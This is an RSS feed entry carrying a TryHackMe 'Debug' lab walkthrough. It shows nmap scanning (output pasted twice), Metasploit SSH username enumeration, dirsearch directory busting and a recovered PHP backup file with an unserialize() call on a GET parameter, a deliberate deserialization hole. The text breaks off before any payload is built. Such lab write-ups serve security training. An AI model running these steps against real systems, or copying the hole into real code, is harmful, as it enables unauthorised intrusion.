<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: hamzairshad02</title>
    <description>The latest articles on Forem by hamzairshad02 (@hamzairshad02).</description>
    <link>https://forem.com/hamzairshad02</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1141970%2Fd4f487a5-039b-4fce-940c-598c802cca17.jpeg</url>
      <title>Forem: hamzairshad02</title>
      <link>https://forem.com/hamzairshad02</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/hamzairshad02"/>
    <language>en</language>
    <item>
      <title>TryHackMe: Debug - Walkthrough</title>
      <dc:creator>hamzairshad02</dc:creator>
      <pubDate>Sat, 23 Sep 2023 16:06:38 +0000</pubDate>
      <link>https://forem.com/hamzairshad02/tryhackme-debug-walkthrough-3oa7</link>
      <guid>https://forem.com/hamzairshad02/tryhackme-debug-walkthrough-3oa7</guid>
      <description>&lt;p&gt;Machine Link: &lt;a href="https://tryhackme.com/room/debug"&gt;Debug&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Starting off with &lt;code&gt;nmap&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; 10.10.69.115
Starting Nmap 7.91 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-09-23 08:02 EDT
NSE: Loaded 153 scripts &lt;span class="k"&gt;for &lt;/span&gt;scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:02
Completed NSE at 08:02, 0.00s elapsed
Initiating NSE at 08:02
Completed NSE at 08:02, 0.00s elapsed
Initiating NSE at 08:02
Completed NSE at 08:02, 0.00s elapsed
Initiating Ping Scan at 08:02
Scanning 10.10.69.115 &lt;span class="o"&gt;[&lt;/span&gt;2 ports]
Completed Ping Scan at 08:02, 0.44s elapsed &lt;span class="o"&gt;(&lt;/span&gt;1 total hosts&lt;span class="o"&gt;)&lt;/span&gt;
Initiating Parallel DNS resolution of 1 host. at 08:02
Completed Parallel DNS resolution of 1 host. at 08:02, 0.00s elapsed
Initiating Connect Scan at 08:02
Scanning 10.10.69.115 &lt;span class="o"&gt;[&lt;/span&gt;1000 ports]
Discovered open port 22/tcp on 10.10.69.115
Discovered open port 80/tcp on 10.10.69.115
Connect Scan Timing: About 32.68% &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ETC: 08:03 &lt;span class="o"&gt;(&lt;/span&gt;0:01:04 remaining&lt;span class="o"&gt;)&lt;/span&gt;
Increasing send delay &lt;span class="k"&gt;for &lt;/span&gt;10.10.69.115 from 0 to 5 due to max_successful_tryno increase to 5
Completed Connect Scan at 08:03, 62.64s elapsed &lt;span class="o"&gt;(&lt;/span&gt;1000 total ports&lt;span class="o"&gt;)&lt;/span&gt;
Initiating Service scan at 08:03
Scanning 2 services on 10.10.69.115
Completed Service scan at 08:03, 6.88s elapsed &lt;span class="o"&gt;(&lt;/span&gt;2 services on 1 host&lt;span class="o"&gt;)&lt;/span&gt;
NSE: Script scanning 10.10.69.115.
Initiating NSE at 08:03
Completed NSE at 08:03, 19.40s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 1.72s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.69.115
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.43s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    Apache httpd 2.4.18 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class="nb"&gt;.&lt;/span&gt;
Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;92.42 seconds┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;nmap &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; 10.10.69.115
Starting Nmap 7.91 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2023-09-23 08:02 EDT
NSE: Loaded 153 scripts &lt;span class="k"&gt;for &lt;/span&gt;scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:02
Completed NSE at 08:02, 0.00s elapsed
Initiating NSE at 08:02
Completed NSE at 08:02, 0.00s elapsed
Initiating NSE at 08:02
Completed NSE at 08:02, 0.00s elapsed
Initiating Ping Scan at 08:02
Scanning 10.10.69.115 &lt;span class="o"&gt;[&lt;/span&gt;2 ports]
Completed Ping Scan at 08:02, 0.44s elapsed &lt;span class="o"&gt;(&lt;/span&gt;1 total hosts&lt;span class="o"&gt;)&lt;/span&gt;
Initiating Parallel DNS resolution of 1 host. at 08:02
Completed Parallel DNS resolution of 1 host. at 08:02, 0.00s elapsed
Initiating Connect Scan at 08:02
Scanning 10.10.69.115 &lt;span class="o"&gt;[&lt;/span&gt;1000 ports]
Discovered open port 22/tcp on 10.10.69.115
Discovered open port 80/tcp on 10.10.69.115
Connect Scan Timing: About 32.68% &lt;span class="k"&gt;done&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ETC: 08:03 &lt;span class="o"&gt;(&lt;/span&gt;0:01:04 remaining&lt;span class="o"&gt;)&lt;/span&gt;
Increasing send delay &lt;span class="k"&gt;for &lt;/span&gt;10.10.69.115 from 0 to 5 due to max_successful_tryno increase to 5
Completed Connect Scan at 08:03, 62.64s elapsed &lt;span class="o"&gt;(&lt;/span&gt;1000 total ports&lt;span class="o"&gt;)&lt;/span&gt;
Initiating Service scan at 08:03
Scanning 2 services on 10.10.69.115
Completed Service scan at 08:03, 6.88s elapsed &lt;span class="o"&gt;(&lt;/span&gt;2 services on 1 host&lt;span class="o"&gt;)&lt;/span&gt;
NSE: Script scanning 10.10.69.115.
Initiating NSE at 08:03
Completed NSE at 08:03, 19.40s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 1.72s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Nmap scan report &lt;span class="k"&gt;for &lt;/span&gt;10.10.69.115
Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.43s latency&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt;
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
| ssh-hostkey: 
|   2048 44:ee:1e:ba:07:2a:54:69:ff:11:e3:49:d7:db:a9:01 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
|   256 8b:2a:8f:d8:40:95:33:d5:fa:7a:40:6a:7f:29:e4:03 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
|_  256 65:59:e4:40:2a:c2:d7:05:77:b3:af:60:da:cd:fc:67 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
80/tcp open  http    Apache httpd 2.4.18 &lt;span class="o"&gt;((&lt;/span&gt;Ubuntu&lt;span class="o"&gt;))&lt;/span&gt;
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Initiating NSE at 08:03
Completed NSE at 08:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ &lt;span class="nb"&gt;.&lt;/span&gt;
Nmap &lt;span class="k"&gt;done&lt;/span&gt;: 1 IP address &lt;span class="o"&gt;(&lt;/span&gt;1 host up&lt;span class="o"&gt;)&lt;/span&gt; scanned &lt;span class="k"&gt;in &lt;/span&gt;92.42 seconds
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We find two ports; 22 (&lt;code&gt;ssh&lt;/code&gt;) and 80 (&lt;code&gt;http&lt;/code&gt;). Lets enumerate &lt;code&gt;ssh&lt;/code&gt; first through the version that it is exposing and lets see if there’s an exploit to it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Z4W6F-kj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l961wcsdpri383ei3m4r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Z4W6F-kj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/l961wcsdpri383ei3m4r.png" alt="Image description" width="800" height="235"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Searching it up shows that it is vulnerable to username enumeration so lets launch &lt;code&gt;metasploit&lt;/code&gt; and see if it can do something about it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; search port:22 ssh enum

Matching Modules
&lt;span class="o"&gt;================&lt;/span&gt;

   &lt;span class="c"&gt;#  Name                                           Disclosure Date  Rank    Check  Description&lt;/span&gt;
   -  &lt;span class="nt"&gt;----&lt;/span&gt;                                           &lt;span class="nt"&gt;---------------&lt;/span&gt;  &lt;span class="nt"&gt;----&lt;/span&gt;    &lt;span class="nt"&gt;-----&lt;/span&gt;  &lt;span class="nt"&gt;-----------&lt;/span&gt;
   0  auxiliary/scanner/ssh/cerberus_sftp_enumusers  2014-05-27       normal  No     Cerberus FTP Server SFTP Username Enumeration
   1  auxiliary/scanner/ssh/ssh_enumusers                             normal  No     SSH Username Enumeration

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_enumusers                                             

msf6 &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; use 1
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;scanner/ssh/ssh_enumusers&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Searching up it shows that there is a &lt;code&gt;ssh_enumusers&lt;/code&gt; scanner available so lets use it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;scanner/ssh/ssh_enumusers&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;USER_FILE /usr/share/legion/wordlists/ssh-user.txt
USER_FILE &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; /usr/share/legion/wordlists/ssh-user.txt
msf6 auxiliary&lt;span class="o"&gt;(&lt;/span&gt;scanner/ssh/ssh_enumusers&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; run

&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; 10.10.69.115:22 - SSH - Using malformed packet technique
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; 10.10.69.115:22 - SSH - Starting scan
&lt;span class="o"&gt;[&lt;/span&gt;+] 10.10.69.115:22 - SSH - User &lt;span class="s1"&gt;'root'&lt;/span&gt; found
&lt;span class="o"&gt;[!]&lt;/span&gt; No active DB &lt;span class="nt"&gt;--&lt;/span&gt; Credential data will not be saved!
&lt;span class="o"&gt;[&lt;/span&gt;+] 10.10.69.115:22 - SSH - User &lt;span class="s1"&gt;'sysop'&lt;/span&gt; found
&lt;span class="o"&gt;[&lt;/span&gt;+] 10.10.69.115:22 - SSH - User &lt;span class="s1"&gt;'admin'&lt;/span&gt; found
&lt;span class="o"&gt;[&lt;/span&gt;+] 10.10.69.115:22 - SSH - User &lt;span class="s1"&gt;'admnistrator'&lt;/span&gt; found
&lt;span class="o"&gt;[&lt;/span&gt;+] 10.10.69.115:22 - SSH - User &lt;span class="s1"&gt;'superuser'&lt;/span&gt; found
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Scanned 1 of 1 hosts &lt;span class="o"&gt;(&lt;/span&gt;100% &lt;span class="nb"&gt;complete&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; Auxiliary module execution completed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using the usual &lt;code&gt;ssh-user.txt&lt;/code&gt; file present in Kali Linux it found all of these users to be the part of this machine. Well, that’s a little too much.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--j7OIFAeL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/45b4p0kfjvx9bl9w3e88.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j7OIFAeL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/45b4p0kfjvx9bl9w3e88.png" alt="Image description" width="800" height="307"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Checking out the port 80 it gives the typical Apache2 Ubuntu Default Page.&lt;/p&gt;

&lt;p&gt;So we don’t have the password for &lt;code&gt;ssh&lt;/code&gt; and the &lt;code&gt;http&lt;/code&gt; port is just showing the default config page. What else can we do now? Start brute forcing things, right? Lets start with directory busting then.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~/dirsearch]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;dirsearch &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.10.69.115/ &lt;span class="nt"&gt;-t&lt;/span&gt; 100   

  _|. _ _  _  _  _ _|_    v0.4.2                                             
 &lt;span class="o"&gt;(&lt;/span&gt;_||| _&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;/_&lt;span class="o"&gt;(&lt;/span&gt;_|| &lt;span class="o"&gt;(&lt;/span&gt;_| &lt;span class="o"&gt;)&lt;/span&gt;                                                      

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 100 | Wordlist size: 10927                                                             

Output File: /home/kali/.dirsearch/reports/10.10.69.115/-_23-09-23_08-39-55.txt

Error Log: /home/kali/.dirsearch/logs/errors-23-09-23_08-39-55.log

Target: http://10.10.69.115/

&lt;span class="o"&gt;[&lt;/span&gt;08:39:56] Starting: 
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccess.sample                                
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccess_sc                                    
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccessBAK                                    
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccess.orig
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccess_orig                                  
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccess.save
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccessOLD2                                   
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htaccess_extra                                 
&lt;span class="o"&gt;[&lt;/span&gt;08:40:20] 403 -  277B  - /.htm
&lt;span class="o"&gt;[&lt;/span&gt;08:40:21] 403 -  277B  - /.htpasswds                                      
&lt;span class="o"&gt;[&lt;/span&gt;08:40:21] 403 -  277B  - /.html                                           
&lt;span class="o"&gt;[&lt;/span&gt;08:40:21] 403 -  277B  - /.htaccess.bak1                                  
&lt;span class="o"&gt;[&lt;/span&gt;08:40:21] 403 -  277B  - /.ht_wsr.txt
&lt;span class="o"&gt;[&lt;/span&gt;08:40:21] 403 -  277B  - /.htaccessOLD                                    
&lt;span class="o"&gt;[&lt;/span&gt;08:40:21] 403 -  277B  - /.httr-oauth                                     
&lt;span class="o"&gt;[&lt;/span&gt;08:40:22] 403 -  277B  - /.htpasswd_test                                  
&lt;span class="o"&gt;[&lt;/span&gt;08:40:23] 403 -  277B  - /.php                                            
&lt;span class="o"&gt;[&lt;/span&gt;08:40:24] 403 -  277B  - /.php3                                           
&lt;span class="o"&gt;[&lt;/span&gt;08:40:57] 301 -  313B  - /backup  -&amp;gt;  http://10.10.69.115/backup/          
&lt;span class="o"&gt;[&lt;/span&gt;08:40:57] 200 -    2KB - /backup/                                          
&lt;span class="o"&gt;[&lt;/span&gt;08:41:19] 200 -   11KB - /index.html                                       
&lt;span class="o"&gt;[&lt;/span&gt;08:41:19] 200 -    6KB - /index.php                                        
&lt;span class="o"&gt;[&lt;/span&gt;08:41:19] 200 -    6KB - /index.php/login/                                 
&lt;span class="o"&gt;[&lt;/span&gt;08:41:22] 301 -  317B  - /javascript  -&amp;gt;  http://10.10.69.115/javascript/  
&lt;span class="o"&gt;[&lt;/span&gt;08:41:43] 200 -    2KB - /readme.md                                        
&lt;span class="o"&gt;[&lt;/span&gt;08:41:46] 403 -  277B  - /server-status/                                   
&lt;span class="o"&gt;[&lt;/span&gt;08:41:48] 403 -  277B  - /server-status                                    

Task Completed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Directory Busting through &lt;code&gt;dirsearch&lt;/code&gt; did come up with some directories. Lets look into the most interesting one that is &lt;code&gt;/index.php/login/&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MpgycKsZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fbaw7hikx2ti5tawff9c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MpgycKsZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fbaw7hikx2ti5tawff9c.png" alt="Image description" width="800" height="331"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This page brings up a submit form. Throwing up XSS and SQL payloads won’t work. So lets dig deep and look for its code.&lt;/p&gt;

&lt;p&gt;Viewing this page’s source will only give some useless HTML code. Lets find this &lt;code&gt;index.php&lt;/code&gt; file somewhere else.&lt;/p&gt;

&lt;p&gt;In our Directory Busting, &lt;code&gt;/backup/&lt;/code&gt; folder was found so lets see if it has the &lt;code&gt;index.php&lt;/code&gt; file and it indeed has the backup file of it as &lt;code&gt;index.php.bak&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FormSubmit&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$form_file&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'message.txt'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="nv"&gt;$message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;SaveMessage&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="nv"&gt;$NameArea&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'name'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; 
&lt;span class="nv"&gt;$EmailArea&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'email'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$TextArea&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'comments'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"Message From : "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$NameArea&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;" || From Email : "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$EmailArea&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;" || Comment : "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$TextArea&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;__destruct&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="nb"&gt;file_put_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;__DIR__&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s1"&gt;'/'&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;form_file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="no"&gt;FILE_APPEND&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'Your submission has been successfully saved!'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Leaving this for now... only for debug purposes... do not touch!&lt;/span&gt;

&lt;span class="nv"&gt;$debug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'debug'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$messageDebug&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;unserialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$debug&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nv"&gt;$application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;FormSubmit&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$application&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;SaveMessage&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Code gives a hint with the comments. So that must be where we should go further from. And as the description of machine said, we have to do PHP Deserialization so now is the time to do it.&lt;/p&gt;

&lt;p&gt;The PHP code takes the name, email and comment passed in the GET by a form on the page. It uses those values to build a message that gets written to the file &lt;code&gt;message.txt&lt;/code&gt; when the object is destructed. Lets test it out a little first by opening the following URL.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://10.10.69.115/index.php?name=test&amp;amp;email=test&amp;amp;comments=test&amp;amp;select=1&amp;amp;checkbox=1"&gt;http://debug.thm/index.php?name=test&amp;amp;email=test&amp;amp;comments=test&amp;amp;select=1&amp;amp;checkbox=1&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then visiting this URL will validate our understanding.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://10.10.69.115/message.txt"&gt;http://debug.thm/message.txt&lt;/a&gt;&lt;/p&gt;

